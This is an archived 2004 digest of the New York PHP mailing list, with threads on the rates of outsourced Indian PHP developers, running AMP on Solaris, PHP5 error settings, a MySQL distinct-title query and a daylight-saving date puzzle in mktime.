>>some direct (snail) mail marketing work - I got over 100 resumes, some
>>from people with MBAs. And from operating in the New York tech market
>>for some time now, I know what kind of pressure there is on the price of
>>services. Often, if I propose an hourly rate, the sale won't be made or
>>will be harder than if I had proposed a fixed bid for a project.
>>
>>So, putting any resentment or bias aside, can anyone else explain what's
>>going on here?
>>
>>Thanks,
>>
>>- Jay Sheth
>>PS: some time ago there was a thread at NYPHP talk which I did not
>>bother to respond to; it went something like this (I am exagerating):
>>PHP programmers in India are paid $10 per month! OMG! Well, rest assured
>>that they are paid a decent amount ($200 - $500 per month), but
>>definitely NOT $2000 per month. Even graduates from their top colleges
>>(IIT, for example), make about $8000 - $10000 per year.
>>
>>_______________________________________________
>>talk mailing list
>>talk at lists.nyphp.org
>>http://lists.nyphp.org/mailman/listinfo/talk
>>
>>
>>    
>>
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>
$500/wk wouldn't buy you dinner where I live (Washington, DC).

Phil

-- 
---------------------------------------------------------------------------------
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Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From jcrawford at codebowl.com  Wed May 26 13:00:29 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 13:00:29 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
References: <40B4C945.5040007@ceruleansky.com><004001c44341$63e7b000$3347acac@codebowl>
	<40B4CD92.2010802@adnet-sys.com>
Message-ID: <005201c44342$f397a240$3347acac@codebowl>

$500/wk will pay all my monthy bills here in vermont

Joe Crawford Jr.

----- Original Message -----
From: "Phillip Powell" <phillip.powell at adnet-sys.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Wednesday, May 26, 2004 1:02 PM
Subject: Re: [nycphp-talk] when PHP outsourcing is not cheap any more


> Joe Crawford Jr. wrote:
>
> >I would work for $500 a week as long as that was after taxes ;)
> >
> >i am in Vermont heh and i have no degree, however i gurantee you my
coding
> >style and skills are top level ;)
> >
> >Joe Crawford Jr.
> >
> >----- Original Message -----
> >From: "Jayesh Sheth" <jayeshsh at ceruleansky.com>
> >To: <talk at lists.nyphp.org>
> >Sent: Wednesday, May 26, 2004 12:43 PM
> >Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
> >
> >
> >
> >
> >>Hello all,
> >>
> >>I came across an interesting ad on Google which led me here:
> >>http://php-mysql-developer.com/default.aspx?aff=google&key=php_india_6mo
> >>
> >>It seemes a programmer in India who lives outside of where I grew up
> >>(Pune) is advertising his services on Google. He is the requesting the
> >>small sum of $500 per week for his services, provided that he is
> >>guaranteed a minimum of 6 months of employment.
> >>
> >>In his FAQ, he has these snippets:
> >>
> >>"
> >>What do I seek?
> >>I am looking for a full-time telecommuting job as a PHP/MySQL developer.
> >>I will work as a WEB-BASED employee to your company , or in other words,
> >>I will work from my location and communicate with you over the Internet.
> >>
> >>[...]
> >>
> >>Isn't the salary you are asking for, low?
> >>NO. I live in India where a salary of $500 is sufficient for my needs,
> >>provided I have a job security.
> >>
> >>[...]
> >>What are your other traits?
> >>Intelligent, Sharp, Hard working, tech-savvy, self-managing, honest,
> >>committed, excellent communication skills.
> >>
> >>I hope I have answered some of your questions. Here is MY CHALLENGE :
> >>I can perform the job of TWO developers alone. I can take up projects
> >>from scratch, design and develop them all by myself. The end result
> >>would be comparable or BETTER than what a developer with $80,000 annual
> >>salary would do! GUARANTEED!!
> >>"
> >>
> >>I just visited my family in India this spring, and I say with certainty
> >>that $2000 per month is a HUGE sum in India. Even talented developers
> >>there are paid $500 - $600 per month.
> >>
> >>I have nothing against outsourcing - I think it can be quite useful in
> >>some cases. But the thing is, it is surprising to find individuals based
> >>in India marketing themselves with such self-assurance: asking $2000 per
> >>month and 6 months of *guaranteed* employement and claiming to be able
> >>to do the work of two people over that period of time.
> >>
> >>This curious offer could mean one of several things:
> >>- The demand for outsourced services from India has gone up so much that
> >>their prices will soon be approaching New York prices
> >>- This guy is marketing himself at prices WAY above standard Indian
> >>rates and in fact employing other people
> >>- Another, unknown factor is at work
> >>
> >>On a side note, I recently posted a help wanted ad on Craigslist for
> >>some direct (snail) mail marketing work - I got over 100 resumes, some
> >>from people with MBAs. And from operating in the New York tech market
> >>for some time now, I know what kind of pressure there is on the price of
> >>services. Often, if I propose an hourly rate, the sale won't be made or
> >>will be harder than if I had proposed a fixed bid for a project.
> >>
> >>So, putting any resentment or bias aside, can anyone else explain what's
> >>going on here?
> >>
> >>Thanks,
> >>
> >>- Jay Sheth
> >>PS: some time ago there was a thread at NYPHP talk which I did not
> >>bother to respond to; it went something like this (I am exagerating):
> >>PHP programmers in India are paid $10 per month! OMG! Well, rest assured
> >>that they are paid a decent amount ($200 - $500 per month), but
> >>definitely NOT $2000 per month. Even graduates from their top colleges
> >>(IIT, for example), make about $8000 - $10000 per year.
> >>
> >>_______________________________________________
> >>talk mailing list
> >>talk at lists.nyphp.org
> >>http://lists.nyphp.org/mailman/listinfo/talk
> >>
> >>
> >>
> >>
> >
> >_______________________________________________
> >talk mailing list
> >talk at lists.nyphp.org
> >http://lists.nyphp.org/mailman/listinfo/talk
> >
> >
> >
> $500/wk wouldn't buy you dinner where I live (Washington, DC).
>
> Phil
>
> --
> --------------------------------------------------------------------------
-------
> Phil Powell
> Multimedia Programmer
> BPX Technologies, Inc.
> #: (703) 709-7218 x107
> Fax: (703) 709-7219
>
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
>



From Rafi.Sheikh at Ingenix.com  Wed May 26 13:03:42 2004
From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh)
Date: Wed, 26 May 2004 12:03:42 -0500
Subject: [nycphp-talk] PHP on Solaris
Message-ID: <C92A8F8B60F96B42911EFA70AF30A88F060A4795@msp7-msx1.ingenix.com>

Does any one has comments regarding shifting an APM solution to Solaris?
Good or bad?  My exposure has only been on Linux, WIN2K, and IBM as the
basis for the said APM solution.

Kindly give me enough so I could do a business case... or better yet point
me to some relevant articles please.

Regards,

RS





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From bpang at bpang.com  Wed May 26 13:13:58 2004
From: bpang at bpang.com (Brian Pang)
Date: Wed, 26 May 2004 12:13:58 -0500
Subject: [nycphp-talk] PHP on Solaris
Message-ID: <E1BT1yY-0007Dr-50@thc3.thehostingcompany.us>

I did some php/flash integration for http://www.collegeaccess529.com on
Solaris with Oracle9i.

I really didn't notice anything different from a linux system. I haven't
used any Windows servers, but I would guess that a basic difference
would be in filesystem paths.. 
C:/foo vs /foo
but since both unix and linux both use the /foo approach, it's not an issue.

probably not enough for a business case, but that's all I got for ya


> Does any one has comments regarding shifting an APM solution to Solaris?
> Good or bad?  My exposure has only been on Linux, WIN2K, and IBM as the
> basis for the said APM solution.
> 
> Kindly give me enough so I could do a business case... or better yet point
> me to some relevant articles please.
> 
> Regards,
> 
> RS
> 
> 
> 
> 
> 
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From jayeshsh at ceruleansky.com  Wed May 26 13:15:24 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Wed, 26 May 2004 13:15:24 -0400
Subject: [nycphp-talk] Re: using PHP for an offline / CD-ROM presentation
Message-ID: <40B4D0AC.6030209@ceruleansky.com>

Hello all,

thanks very much for your responses and suggestions regarding making an 
offline CD application using PHP. Jeff's suggestion seems to be awesome 
( http://www.indigostar.com/microweb.htm ). I will definitely try it out.

Thanks also to the person who suggested Flash. My brother also suggested 
Flash - but the thing is that it might take me some time to get up to 
speed with Flash. And its (vector graphics) nature is a bit ... 
different. Flash used to be associate more with graphic designers than 
with developers, but this has clearly changed by now. (The website of 
the person who suggested Flash is incredibly well done, by the way. 
Congrats on the great job!)

I should buy a book and Flash and read up on its database capabilities ...

Best Regards,

- Jay Sheth



From dmintz at davidmintz.org  Wed May 26 13:22:52 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Wed, 26 May 2004 13:22:52 -0400 (EDT)
Subject: [nycphp-talk] URL for David Sklar's QuickForm presentation
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References: <40B4A86A.4040108@ceruleansky.com> <40B4B5C4.8000305@sklar.com>
Message-ID: <Pine.BSF.4.58.0405261322250.97604@emra.pair.com>


Where can I get my hands on that cool presentation tool?


---
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From bpang at bpang.com  Wed May 26 13:24:37 2004
From: bpang at bpang.com (Brian Pang)
Date: Wed, 26 May 2004 12:24:37 -0500
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
Message-ID: <E1BT28r-0007tu-Nf@thc3.thehostingcompany.us>

So, Phil, how do you manage to feed yourself while you're bidding on $15
projects?

$500/wk would get you seven dinners at a total of $71.42
Sounds pretty lavish to me.


> $500/wk wouldn't buy you dinner where I live (Washington, DC).
> 
> Phil



From sklar at sklar.com  Wed May 26 13:32:22 2004
From: sklar at sklar.com (David Sklar)
Date: Wed, 26 May 2004 13:32:22 -0400
Subject: [nycphp-talk] URL for David Sklar's QuickForm presentation
In-Reply-To: <Pine.BSF.4.58.0405261322250.97604@emra.pair.com>
References: <40B4A86A.4040108@ceruleansky.com> <40B4B5C4.8000305@sklar.com>
	<Pine.BSF.4.58.0405261322250.97604@emra.pair.com>
Message-ID: <40B4D4A6.5020708@sklar.com>

David Mintz wrote:

> Where can I get my hands on that cool presentation tool?
> 
>

You can browse the code here:

--> http://cvs.php.net/cvs.php/pres2

(Check it out by following the instructions at 
http://us4.php.net/anoncvs.php but checkout the "pres2" directory 
instead of "php-src").

There is also a presentation about it here:
--> http://talks.php.net/show/intro

David




From phillip.powell at adnet-sys.com  Wed May 26 13:47:09 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 26 May 2004 13:47:09 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
In-Reply-To: <E1BT28r-0007tu-Nf@thc3.thehostingcompany.us>
References: <E1BT28r-0007tu-Nf@thc3.thehostingcompany.us>
Message-ID: <40B4D81D.8070502@adnet-sys.com>

Brian Pang wrote:

>So, Phil, how do you manage to feed yourself while you're bidding on $15
>projects?
>
>$500/wk would get you seven dinners at a total of $71.42
>Sounds pretty lavish to me.
>
>
>  
>
>>$500/wk wouldn't buy you dinner where I live (Washington, DC).
>>
>>Phil
>>    
>>
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>
$500/wk would get me a TV dinner, after spending $750/mo on rent, 
$500/mo on car payments,
$100/mo on utilities, $100 on car insurance, $120/mo on gas and $250/mo 
on debts.

Haven't even won a $15 project yet.  Not that I'm looking at this point.

Phil

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#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From danielk at us.ibm.com  Wed May 26 13:43:44 2004
From: danielk at us.ibm.com (Daniel Krook)
Date: Wed, 26 May 2004 13:43:44 -0400
Subject: [nycphp-talk] PHP on Solaris
In-Reply-To: <C92A8F8B60F96B42911EFA70AF30A88F060A4795@msp7-msx1.ingenix.com>
Message-ID: <OF159961C8.D36FCB3F-ON85256EA0.0060B4CE-85256EA0.00616294@us.ibm.com>





> Does any one has comments regarding shifting an APM solution to Solaris?

Rafi,

I currently run my AMP setup on Solaris 9 SPARC, and built everything from
source (I have a quick and dirty set of instructions here:
http://krook.net/os/lamp-install.txt).

I've also put AMP binaries on Solaris 9 x86 via pkg-get, which is similar
to RPM or apt-get on a Linux system (pkg-get is available for both SPARC
and x86 though).  Both environments run fairly smooth and were simple
enough to set up, but I only run them on my home network - not in an
enterprise environment.  However, I've heard rumors that the Apache/Solaris
combo has the highest average uptime among production web servers, but I
haven't seen a recent set of stats to confirm that.

On either a SPARC or x86 machine, you would need to make sure that your
Solaris installation had the standard set of GNU developer tools, and that
where possible they are in your PATH when building instead of the Solaris
versions.  For example, Solaris tar is not able to untar the MySQL binary
tarball, and you would need a copy of gcc to compile Apache and PHP anyway,
as Solaris does not come with a C compiler.  The commercial version that
Sun sells goes for a hefty price if I recall correctly.   I believe I've
also had problems using the stock unzip instead of gunzip.

All the standard GNU tools in package form are available at
http://sunfreeware.com/, which is where pkg-get gets its binaries.  Other
resources to check out are:

Everything Solaris
http://everythingsolaris.org/

The home of pkg-get (CSW - Community Software Packages for The Solaris
Operating Environment):
http://blastwave.org/

Sun's Big Admin site is also full of resources on AMP tools and Linux
migration / dual boot etc.:
http://sun.com/bigadmin/
http://sun.com/bigadmin/faq/
http://sun.com/bigadmin/resources/

Solaris Resources at Kempston:
http://www.kempston.net/solaris/contents.html


I picked Solaris for reasons other than to run AMP tools on it, and if I
had to do it all over again using what I use now, I probably would have
picked a Linux distribution.  That said, it's still a solid and proven
platform for AMP.

What's your motivation for exploring alternatives to Linux or AIX?









Daniel Krook, Application Developer
WW Web Production Services North 2, ibm.com
1133 Westchester Avenue, White Plains, NY 10604

Personal: http://info.krook.org/
Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897




From ejp at well.com  Wed May 26 18:38:58 2004
From: ejp at well.com (Edward Potter)
Date: Wed, 26 May 2004 18:38:58 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
In-Reply-To: <40B4D81D.8070502@adnet-sys.com>
References: <E1BT28r-0007tu-Nf@thc3.thehostingcompany.us>
	<40B4D81D.8070502@adnet-sys.com>
Message-ID: <7A3EC580-AF65-11D8-8993-000393CAC09E@well.com>

Actually I can get you a kick ass dinner in Manhattan for $2 bucks...    
Try the Punjabi place on Houston & 1st Ave. X-CELLENT.  After your job  
has been outsourced a few times you get to know the low budget ethnic  
eats.

:-)

-ed


On May 26, 2004, at 1:47 PM, Phillip Powell wrote:

> Brian Pang wrote:
>
>> So, Phil, how do you manage to feed yourself while you're bidding on  
>> $15
>> projects?
>>
>> $500/wk would get you seven dinners at a total of $71.42
>> Sounds pretty lavish to me.
>>
>>
>>
>>> $500/wk wouldn't buy you dinner where I live (Washington, DC).
>>>
>>> Phil
>>>
>>
>> _______________________________________________
>> talk mailing list
>> talk at lists.nyphp.org
>> http://lists.nyphp.org/mailman/listinfo/talk
>>
>>
> $500/wk would get me a TV dinner, after spending $750/mo on rent,  
> $500/mo on car payments,
> $100/mo on utilities, $100 on car insurance, $120/mo on gas and  
> $250/mo on debts.
>
> Haven't even won a $15 project yet.  Not that I'm looking at this  
> point.
>
> Phil
>
> --  
> ----------------------------------------------------------------------- 
> ----------
> Phil Powell
> Multimedia Programmer
> BPX Technologies, Inc.
> #: (703) 709-7218 x107 Fax: (703) 709-7219
>
> 	
>
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From jonbaer at jonbaer.net  Wed May 26 19:30:12 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Wed, 26 May 2004 19:30:12 -0400
Subject: [nycphp-talk] SmartyValidate?
In-Reply-To: <40B4B5C4.8000305@sklar.com>
References: <40B4A86A.4040108@ceruleansky.com> <40B4B5C4.8000305@sklar.com>
Message-ID: <40B52884.6050007@jonbaer.net>

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Has anyone used this before:

http://www.phpinsider.com/php/code/SmartyValidate/

- - Jon

David Sklar wrote:
| Hi, Jayesh. You are neither stupid or blind -- I'm slow at updating my
| site! The presentation is at:
|
| --> http://www.sklar.com/talks/nyphp-quickform
|
| I'll be updating http://www.sklar.com/page/section/work today with a
| link to it.
|
| Thanks,
| David
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From jonbaer at jonbaer.net  Wed May 26 20:01:05 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Wed, 26 May 2004 20:01:05 -0400
Subject: [nycphp-talk] [ot] sed/configure issue
In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8701E43DE6@ehost011-1.exch011.intermedia.net>
References: <41EE526EC2D3C74286415780D3BA9F8701E43DE6@ehost011-1.exch011.intermedia.net>
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greetings ...

ive been struggling getting something compiled (its for a wireless
honeycomb project) and was going crazy today through googling my problem
and could not come up with a single solution, so maybe someone here has
seen the same issue (a few people compiling php modules seem to have the
same issue without solution) ...

configure bails out @:
sed: file ./dsjfoidsfjods/subs-1.sed line 84: Unterminated `s' command

now i figured it was shell related because through bash this happens:

$ echo "php" | sed "s/php/\\/"
sed: -e expression #1, char 8: Unterminated `s' command
$ echo "php" | sed 's/php/\\'
\

im not sure what to conclude here since i ran through config.status and
could not find any "" expressions.  just one of those problems i just
like to understand.

- - jon

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From jcrawford at codebowl.com  Wed May 26 21:08:21 2004
From: jcrawford at codebowl.com (Joe Crawford Jr.)
Date: Wed, 26 May 2004 21:08:21 -0400
Subject: [nycphp-talk] PHP5 Error Reporting
Message-ID: <002301c44387$2a04a550$68a49bac@codebowl>

Guys,

i am working with php5 here is the error bit of my php.ini

error_reporting  =  E_ALL
display_errors = On
display_startup_errors = On
log_errors = On
log_errors_max_len = 1024
ignore_repeated_errors = Off
ignore_repeated_source = Off
report_memleaks = On
track_errors = Off
html_errors = Off

however when i cause an error such as throwing a protected $roles; into an interface body i get no error just a plain white screen, i have also turned off friendly http errors in IE 6 SP 1

Joe Crawford Jr.
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From tgales at tgaconnect.com  Wed May 26 21:34:37 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 26 May 2004 21:34:37 -0400
Subject: [nycphp-talk] PHP5 Error Reporting
In-Reply-To: <002301c44387$2a04a550$68a49bac@codebowl>
Message-ID: <001b01c4438a$c6565130$e98d3818@oberon1>


Try adding a statement like

error_log = php_errors.log

to your php.ini

try to get the page in 
question again and 
see what is in the 'php_errors.log'
(or whatever you named the logfile)


T. Gales & Associates 
Helping People Connect with Technology 
http://www.tgaconnect.com 

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Joe Crawford Jr.
Sent: Wednesday, May 26, 2004 9:08 PM
To: NYPHP Talk
Subject: [nycphp-talk] PHP5 Error Reporting


Guys,

i am working with php5 here is the error bit of my php.ini

error_reporting  =  E_ALL
display_errors = On
display_startup_errors = On
log_errors = On
log_errors_max_len = 1024
ignore_repeated_errors = Off
ignore_repeated_source = Off
report_memleaks = On
track_errors = Off
html_errors = Off

however when i cause an error such as throwing a protected $roles; into an
interface body i get no error just a plain white screen, i have also
turned off friendly http errors in IE 6 SP 1

Joe Crawford Jr.




From csnyder at chxo.com  Wed May 26 22:01:06 2004
From: csnyder at chxo.com (Chris Snyder)
Date: Wed, 26 May 2004 22:01:06 -0400
Subject: [nycphp-talk] Ignoring records with duplicate keys
Message-ID: <40B54BE2.2010001@chxo.com>

You have a table with id, name, and title fields.

You want to create a query that selects * where title is distinct -- 
that is, if two or more records have the same title, only the fields 
from the first are be returned.

Should be easy, right?


From chendry at nyc.rr.com  Wed May 26 22:18:48 2004
From: chendry at nyc.rr.com (Christopher Hendry)
Date: Wed, 26 May 2004 22:18:48 -0400
Subject: [nycphp-talk] Ignoring records with duplicate keys
In-Reply-To: <40B54BE2.2010001@chxo.com>
Message-ID: <200405270219.i4R2JABO011328@ms-smtp-02.rdc-nyc.rr.com>

Is this a question?

SELECT DISTINCT title, id, name from table GROUP BY title;

Might actually need the GROUP BY on all (ie, GROUP BY title, id, name), or
some functions, I just did this, if it helps:

Select DISTINT carriers, MIN(price) as price, maxStops from paxflights where
paxiticket = 'abcde12345' GROUP BY carrier, maxStops;

C

-> -----Original Message-----
-> From: talk-bounces at lists.nyphp.org 
-> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Chris Snyder
-> Sent: Wednesday, May 26, 2004 10:01 PM
-> To: NYPHP Talk
-> Subject: [nycphp-talk] Ignoring records with duplicate keys
-> 
-> You have a table with id, name, and title fields.
-> 
-> You want to create a query that selects * where title is 
-> distinct -- that is, if two or more records have the same 
-> title, only the fields from the first are be returned.
-> 
-> Should be easy, right?
-> _______________________________________________
-> talk mailing list
-> talk at lists.nyphp.org
-> http://lists.nyphp.org/mailman/listinfo/talk
-> 




From csnyder at chxo.com  Wed May 26 22:45:41 2004
From: csnyder at chxo.com (Chris Snyder)
Date: Wed, 26 May 2004 22:45:41 -0400
Subject: [nycphp-talk] Ignoring records with duplicate keys
In-Reply-To: <200405270219.i4R2JABO011328@ms-smtp-02.rdc-nyc.rr.com>
References: <200405270219.i4R2JABO011328@ms-smtp-02.rdc-nyc.rr.com>
Message-ID: <40B55655.2030408@chxo.com>

Christopher Hendry wrote:

>Is this a question?
>
>SELECT DISTINCT title, id, name from table GROUP BY title;
>

Ah, missing the GROUP BY. The above works perfec', thanks!


From mitchy at spacemonkeylabs.com  Thu May 27 10:40:34 2004
From: mitchy at spacemonkeylabs.com (Mitch Pirtle)
Date: Thu, 27 May 2004 10:40:34 -0400
Subject: [nycphp-talk] Re: using PHP for an offline / CD-ROM presentation
In-Reply-To: <40B4D0AC.6030209@ceruleansky.com>
References: <40B4D0AC.6030209@ceruleansky.com>
Message-ID: <40B5FDE2.1030206@spacemonkeylabs.com>

Jayesh Sheth wrote:

> Hello all,
>
> thanks very much for your responses and suggestions regarding making 
> an offline CD application using PHP. Jeff's suggestion seems to be 
> awesome ( http://www.indigostar.com/microweb.htm ). I will definitely 
> try it out.
>
> Thanks also to the person who suggested Flash. My brother also 
> suggested Flash - but the thing is that it might take me some time to 
> get up to speed with Flash. And its (vector graphics) nature is a bit 
> ... different. Flash used to be associate more with graphic designers 
> than with developers, but this has clearly changed by now. (The 
> website of the person who suggested Flash is incredibly well done, by 
> the way. Congrats on the great job!)
>
> I should buy a book and Flash and read up on its database capabilities 
> ...

I've offered to do a book review on '*Macromedia Flash MX Professional 
2004 Unleashed*' by David Vogeleer 
<http://search.barnesandnoble.com/booksearch/results.asp?userid=mHu1Qciy9P&ath=David+Vogeleer> 
and Matthew Pizzi 
<http://search.barnesandnoble.com/booksearch/results.asp?userid=mHu1Qciy9P&ath=Matthew+Pizzi> 
(ISBN:  067232606X).  There is a chapter dedicated to integrating flash 
applications with PHP (and chapters for other languages as well).  As 
flash is really coming into it's own as a front-end for Internet 
applications, we all would be better of at least knowing how to 
integrate our application logic with flash...

There's also a sourceforge project providing flash remoting capabilities 
as a PHP class:  http://www.amfphp.org/  I HIGHLY suggest you take a 
peek.  ;)

-- Mitch


From mitchy at spacemonkeylabs.com  Thu May 27 10:45:53 2004
From: mitchy at spacemonkeylabs.com (Mitch Pirtle)
Date: Thu, 27 May 2004 10:45:53 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
In-Reply-To: <40B4D81D.8070502@adnet-sys.com>
References: <E1BT28r-0007tu-Nf@thc3.thehostingcompany.us>
	<40B4D81D.8070502@adnet-sys.com>
Message-ID: <40B5FF21.6090907@spacemonkeylabs.com>

Phillip Powell wrote:

> $500/wk would get me a TV dinner, after spending $750/mo on rent, 
> $500/mo on car payments,
> $100/mo on utilities, $100 on car insurance, $120/mo on gas and 
> $250/mo on debts.
>
> Haven't even won a $15 project yet.  Not that I'm looking at this point.


My old pad was $3000/month on the Upper East Side.  Now I got twice the 
pad for half the money, and I'm one block from the ocean (Brooklyn).  
Fuhgeddaboudit!  $500/week and I'd have to live in an empty Westinghouse 
box!

The humourous side of this outsourcing drama is that the outsourcers are 
getting outsourced, too...  Just look at Kuala Lumpur and Singapore, not 
to mention Hong Kong.  I suppose Australia is next?

-- Mitch


From phillip.powell at adnet-sys.com  Thu May 27 14:22:30 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Thu, 27 May 2004 14:22:30 -0400
Subject: [nycphp-talk] when PHP outsourcing is not cheap any more
In-Reply-To: <40B5FF21.6090907@spacemonkeylabs.com>
References: <E1BT28r-0007tu-Nf@thc3.thehostingcompany.us>	<40B4D81D.8070502@adnet-sys.com>
	<40B5FF21.6090907@spacemonkeylabs.com>
Message-ID: <40B631E6.2090307@adnet-sys.com>

Mitch Pirtle wrote:

> Phillip Powell wrote:
>
>> $500/wk would get me a TV dinner, after spending $750/mo on rent, 
>> $500/mo on car payments,
>> $100/mo on utilities, $100 on car insurance, $120/mo on gas and 
>> $250/mo on debts.
>>
>> Haven't even won a $15 project yet.  Not that I'm looking at this point.
>
>
>
> My old pad was $3000/month on the Upper East Side.  Now I got twice 
> the pad for half the money, and I'm one block from the ocean 
> (Brooklyn).  Fuhgeddaboudit!  $500/week and I'd have to live in an 
> empty Westinghouse box!
>
> The humourous side of this outsourcing drama is that the outsourcers 
> are getting outsourced, too...  Just look at Kuala Lumpur and 
> Singapore, not to mention Hong Kong.  I suppose Australia is next?
>
Nah.  Tonga, Nauru, Tuvalu, Fiji, etc..

Phil

> -- Mitch
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>


-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
BPX Technologies, Inc.
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From dmintz at davidmintz.org  Thu May 27 15:10:36 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Thu, 27 May 2004 15:10:36 -0400 (EDT)
Subject: [nycphp-talk] SmartyValidate?
In-Reply-To: <40B52884.6050007@jonbaer.net>
References: <40B4A86A.4040108@ceruleansky.com> <40B4B5C4.8000305@sklar.com>
	<40B52884.6050007@jonbaer.net>
Message-ID: <Pine.BSF.4.58.0405271459330.59243@emra.pair.com>

On Wed, 26 May 2004, Jon Baer wrote:

> -----pgpenvelope processed message
>
> Has anyone used this before:
>
> http://www.phpinsider.com/php/code/SmartyValidate/
>

I haven't, but it looks intriguing enough to be worth giving it a whirl.
Thanks for pointing it out.

It looks like a person who likes HTML_QuickForm and Smarty could use this
and forgo HTML_QuickForm. OTOH, HTML_QuickForm has a few other nice bells
and whistles of its own, and you could port an HTML_QuickForm/Smarty thing
to another template engine by changing a line or two.


---
David Mintz
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From drydell at att.net  Thu May 27 20:00:32 2004
From: drydell at att.net (drydell at att.net)
Date: Fri, 28 May 2004 00:00:32 +0000
Subject: [nycphp-talk] Date Calculation Error
Message-ID: <052820040000.10833.40B681200000665200002A512158766755FF93939A9B868D@att.net>

I had a date calculation bug that was driving me nuts all day, and I finally figured it out... on two different servers (one UNIX, one Windows; both PHP 4.3), midnight 10/31/2004 and midnight 11/01/2004 are 25 hours apart. Does anyone else get the same result? Here's a snippet to try:

<?
$ts1 = mktime(0, 0, 0, 10, 31, 2004);
$ts2 = mktime(0, 0, 0, 11, 1, 2004);
$diff = ($ts2 - $ts1) / (60 * 60);
print "ts1 = $ts1<br>ts2 = $ts2<br>difference is $diff hours";
?>

Here's my output (both servers):

ts1 = 1099195200
ts2 = 1099285200
difference is 25 hours

All other consecutive dates I tried give a 24 hour difference, as does 10/31 - 11/1 in 2003 and 2005... is this a PHP bug? could it possibly have anything to do with daylight savings time?


From danielc at analysisandsolutions.com  Thu May 27 20:05:30 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Thu, 27 May 2004 20:05:30 -0400
Subject: [nycphp-talk] Date Calculation Error
In-Reply-To: <052820040000.10833.40B681200000665200002A512158766755FF93939A9B868D@att.net>
References: <052820040000.10833.40B681200000665200002A512158766755FF93939A9B868D@att.net>
Message-ID: <20040528000529.GA23491@panix.com>

On Fri, May 28, 2004 at 12:00:32AM +0000, drydell at att.net wrote:

> midnight 10/31/2004 and midnight 11/01/2004 are 25 hours apart

That's the day when the change between Daylight Savings and Regular time
happens.

--Dan

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From drydell at att.net  Thu May 27 20:07:53 2004
From: drydell at att.net (drydell at att.net)
Date: Fri, 28 May 2004 00:07:53 +0000
Subject: [nycphp-talk] Date Calculation Error
Message-ID: <052820040007.15893.40B682D8000DD55300003E152158766755FF93939A9B868D@att.net>

so does that mean that when the switch the other way occurs the difference will be 23 hours? 


> On Fri, May 28, 2004 at 12:00:32AM +0000, drydell at att.net wrote:
> 
> > midnight 10/31/2004 and midnight 11/01/2004 are 25 hours apart
> 
> That's the day when the change between Daylight Savings and Regular time
> happens.
> 
> --Dan
> 
> -- 
>  T H E   A N A L Y S I S   A N D   S O L U T I O N S   C O M P A N Y
>             data intensive web and database programming
>                 http://www.AnalysisAndSolutions.com/
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From drydell at att.net  Thu May 27 20:11:24 2004
From: drydell at att.net (drydell at att.net)
Date: Fri, 28 May 2004 00:11:24 +0000
Subject: [nycphp-talk] Date Calculation Error
Message-ID: <052820040011.18428.40B683AC000942B4000047FC2158766755FF93939A9B868D@att.net>

and why was the difference 24 hours in 2003 and 2005? Isn't the change on the same date every year?


> On Fri, May 28, 2004 at 12:00:32AM +0000, drydell at att.net wrote:
> 
> > midnight 10/31/2004 and midnight 11/01/2004 are 25 hours apart
> 
> That's the day when the change between Daylight Savings and Regular time
> happens.
> 
> --Dan
> 
> -- 
>  T H E   A N A L Y S I S   A N D   S O L U T I O N S   C O M P A N Y
>             data intensive web and database programming
>                 http://www.AnalysisAndSolutions.com/
>  4015 7th Ave #4, Brooklyn NY 11232  v: 718-854-0335 f: 718-854-0409
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From adam at trachtenberg.com  Thu May 27 20:23:16 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Thu, 27 May 2004 20:23:16 -0400 (EDT)
Subject: [nycphp-talk] Date Calculation Error
In-Reply-To: <052820040011.18428.40B683AC000942B4000047FC2158766755FF93939A9B868D@att.net>
References: <052820040011.18428.40B683AC000942B4000047FC2158766755FF93939A9B868D@att.net>
Message-ID: <Pine.LNX.4.58.0405272022470.17778@miranda.org>

On Fri, 28 May 2004 drydell at att.net wrote:

> and why was the difference 24 hours in 2003 and 2005? Isn't the
> change on the same date every year?

What makes you think that?

http://webexhibits.org/daylightsaving/b.html

-adam

-- 
adam at trachtenberg.com
author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From drydell at att.net  Thu May 27 20:29:43 2004
From: drydell at att.net (drydell at att.net)
Date: Fri, 28 May 2004 00:29:43 +0000
Subject: [nycphp-talk] Date Calculation Error
Message-ID: <052820040029.702.40B687F6000DC4D6000002BE2158766755FF93939A9B868D@att.net>

